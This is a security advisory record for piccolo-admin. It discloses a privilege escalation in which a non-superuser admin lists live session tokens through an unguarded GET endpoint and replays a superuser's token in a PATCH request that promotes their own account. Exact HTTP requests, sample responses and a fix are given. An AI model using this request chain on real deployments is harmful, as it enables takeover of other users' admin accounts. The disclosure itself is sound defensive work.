{"id":"PYSEC-2026-3882","summary":"piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.","details":"## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own `Cookie: id=…`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` — the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` — the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john's `SUPERUSER` column is **✗**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=\u003cjohn's session\u003e; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=\u003cjohn's session\u003e; csrftoken=\u003ctoken\u003e\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user's password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic — once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** — accessible over the network.\n- **AC:L** — single GET; no race or timing dependency.\n- **PR:L** — requires non-superuser admin credentials (the default admin role).\n- **UI:N** — no victim interaction needed.\n- **S:U** — scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** — full read, full write, full availability impact on the admin's data and on other users' sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I'm happy to coordinate disclosure timing and validate any candidate patch.","aliases":["CVE-2026-55485","GHSA-2gh4-jmwq-rr8w"],"modified":"2026-09-10T12:15:10.891932988Z","published":"2026-09-10T09:44:58.292770Z","references":[{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_api/pull/331"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"},{"type":"PACKAGE","url":"https://github.com/piccolo-orm/piccolo_admin"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"},{"type":"PACKAGE","url":"https://pypi.org/project/piccolo-admin"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2gh4-jmwq-rr8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55485"}],"affected":[{"package":{"name":"piccolo-admin","ecosystem":"PyPI","purl":"pkg:pypi/piccolo-admin"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.14.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.12.1","0.13.0","0.13.1","0.13.2","0.14.0","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.18.2","0.19.0","0.19.1","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.2.0","0.20.0","0.21.0","0.22.0","0.22.1","0.22.2","0.23.0","0.24.0","0.25.0","0.26.0","0.26.1","0.27.0","0.28.0","0.29.0","0.29.1","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.30.0","0.31.0","0.31.1","0.31.2","0.32.0","0.33.0","0.33.1","0.34.0","0.35.0","0.36.0","0.37.0","0.38.0","0.39.0","0.4.0","0.4.1","0.40.0","0.41.0","0.42.0","0.43.0","0.44.0","0.45.0","0.45.1","0.45.2","0.46.0","0.47.0","0.48.0","0.49.0","0.5.0","0.5.1","0.50.0","0.51.0","0.52.0","0.53.0","0.54.0","0.55.0","0.56.0","0.57.0","0.58.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","0.9.2","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.10.0","1.11.0","1.12.0","1.13.0","1.2.0","1.2.1","1.2.2","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.5.0","1.6.0","1.7.0","1.7.1","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/piccolo-admin/PYSEC-2026-3882.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}